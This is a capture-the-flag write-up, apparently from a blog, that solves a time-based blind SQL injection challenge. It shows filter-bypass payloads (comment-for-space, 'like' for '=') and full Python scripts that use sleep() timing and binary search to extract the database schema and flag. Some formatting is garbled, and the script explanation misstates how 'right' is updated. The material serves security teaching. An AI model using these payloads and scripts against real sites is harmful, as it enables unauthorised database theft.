After a rough test, I found that the spaces were filtered.
Use inline comments /**/ to bypass, it works
1'/**/-- +
Use ? to replace spaces, or
1'?-- +
Testing again found that the equal sign was also filtered, we used like instead
(I initially thought that and was filtered, but it was not. If and or or was filtered, we can also use & amp; & amp; and || instead)
1'/**/ & amp; & amp;1like2/**/-- +
However, many attempts here only return one page, and no error page appears. Therefore, time blind injection is used, and the sleep function is used to create a time delay. The echo time is used to determine whether an error is reported.
Introduction to basic knowledge:
if (judgment statement, x, y) If the judgment statement is correct, output X, otherwise output Y sleep(n), echo after delaying n seconds
Commonly used judgment statements:
if(1=1,1,sleep(3)) // 1=1 is always true, so 1 will be output if(1=2,1,sleep(3)) //1=2 is not true, the last sleep function will be executed and echoed after a delay of 3 seconds
Of course we can also use the sleep() function directly:
1' & amp; & amp;sleep(5)-- +
After trying it, I found that the — + comment cannot be used here, so we used the # comment instead.
1' & amp; & amp;sleep(5)#
Observe that there is no delay, indicating that the semicolon is not a closed symbol.
Try numeric
1 & amp; & amp;sleep(5)#
There is an obvious delay phenomenon, which proves that the statement is closed successfully.
Start writing the script and first check what databases it exists in.
Construct payload:
1/**/and/**/if(ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i},1)) >{mid},sleep(2),0)#
Complete script:
import time import requests url = 'http://f6337ab6-ed3c-472d-835f-3b756a55dd5d.node4.buuoj.cn:81/?id=' database_name = "" for i in range(1, 100): left = 32 right = 128 mid = (left + right) // 2 while left < right: payload = url + f"1/**/and/**/if(ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i}, 1))>{mid},sleep(2),0)#" start_time = time.time() response = requests.get(payload).text end_time = time.time() use_time = end_time - start_time if use_time > 2: left=mid+1 else: right = mid mid = (left + right) // 2 print(mid) database_name + = chr(mid) print(database_name)
Note: Be sure to use f to format string constants in the payload to ensure that the content in {} (such as {i}, {mid}) will be replaced by the value of the expression when the program is running.
operation result:
Found that a database named ctf exists
Then we check all tables under the database
Construct payload:
1/**/and/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/ table_schema/**/like'ctf'),{i},1))>{mid},sleep(2),0)#
Complete script:
import time import requests url = 'http://f6337ab6-ed3c-472d-835f-3b756a55dd5d.node4.buuoj.cn:81/?id=' database_name = "" for i in range(1, 100): left = 32 right = 128 mid = (left + right) // 2 while left < right: payload = url + f"1/**/and/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/ **/table_schema/**/like'ctf'),{i},1))>{mid},sleep(2),0)#" start_time = time.time() response = requests.get(payload).text end_time = time.time() use_time = end_time - start_time if use_time > 2: left=mid+1 else: right = mid mid = (left + right) // 2 print(mid) database_name + = chr(mid) print(database_name)
Found that there is only one table named items
Try to get the column name information of the table named items in the database named ctf
(* cannot be selected directly here)
Construct payload:
1/**/and/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/ table_schema/**/like'ctf'||table_name/**/like'items'),{i},1))>{mid},sleep(2),0)#
Complete script:
import time import requests url = 'http://f6337ab6-ed3c-472d-835f-3b756a55dd5d.node4.buuoj.cn:81/?id=' database_name = "" for i in range(1, 100): left = 32 right = 128 mid = (left + right) // 2 while left < right: payload = url + f"1/**/and/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/ **/table_schema/**/like'ctf'||table_name/**/like'items'),{i},1))>{mid},sleep(2),0)#" start_time = time.time() response = requests.get(payload).text end_time = time.time() use_time = end_time - start_time if use_time > 2: left=mid+1 else: right = mid mid = (left + right) // 2 print(mid) database_name + = chr(mid) print(database_name)
Found that there are three columns: id, name, price
Since we don’t know where the flag is, we query the specific field information of these three columns.
Construct payload:
1/**/and/**/if(ascii(substr((select/**/group_concat(id,name,price)/**/from/**/ctf.items),{i} ,1))>{mid},sleep(2),0)#
Note: The content of the query here still needs to be added with group_concat(), because some joint queries I did before sometimes did not need to be added, but I tried it here and it didn’t work.
By the way, let me introduce the function of group_concat() function:
group_concat first groups the columns specified by group by, displays the columns of the same group, and separates them with delimiters, connects the values in the same group generated by group by, and returns a string result.
Complete script:
import time import requests url = 'http://f6337ab6-ed3c-472d-835f-3b756a55dd5d.node4.buuoj.cn:81/?id=' database_name = "" for i in range(1, 100): left = 32 right = 128 mid = (left + right) // 2 while left < right: payload = url + f"1/**/and/**/if(ascii(substr((select/**/group_concat(id,name,price)/**/from/**/ctf.items), {i},1))>{mid},sleep(2),0)#" start_time = time.time() response = requests.get(payload).text end_time = time.time() use_time = end_time - start_time if use_time > 2: left=mid+1 else: right = mid mid = (left + right) // 2 print(mid) database_name + = chr(mid) print(database_name)
Get flag{217f2b74-cca0-4afb-be0b-2147f666d25e}
Some explanation about the script:
Time blind injection attack using binary search
-
payload
is a URL that contains a SQL injection attack. The URL is constructed like this:url
is the address of your target website, followed by a SQL injection statement. -
time.time()
is used to record the start time, then initiate an HTTP GET request and sendpayload
to the target website. This request will perform a SQL injection attack. -
After initiating the request, use
time.time()
again to record the end time, and then calculateuse_time
, which is the response time of the request. -
Next, determine whether the SQL injection was successfully executed by comparing whether
use_time
is greater than 2 seconds. Ifuse_time
is greater than 2 seconds, the condition is true, indicating that the ASCII value of the current character is greater thanmid
. -
If the condition is true, increase the value of
left
by 1, otherwise, decrement the value ofright
by 1, thus updating the value ofmid
. This is part of the binary search algorithm used to extract the database name character by character. -
Finally, the code adds the current character (the ASCII value of the character converted to a character using the
chr()
function) to thedatabase_name
variable and prints outdatabase_name
, and gradually build the queried database name.
The code builds the database name by continuously guessing the ASCII value of each character, and once the ASCII value of a character is determined, moves on to the next character. Of course, database_name here is just a variable name, we can replace it with something else.
The knowledge points of the article match the official knowledge files, and you can further learn related knowledge. Algorithm skill tree Home page Overview 57053 people are learning the system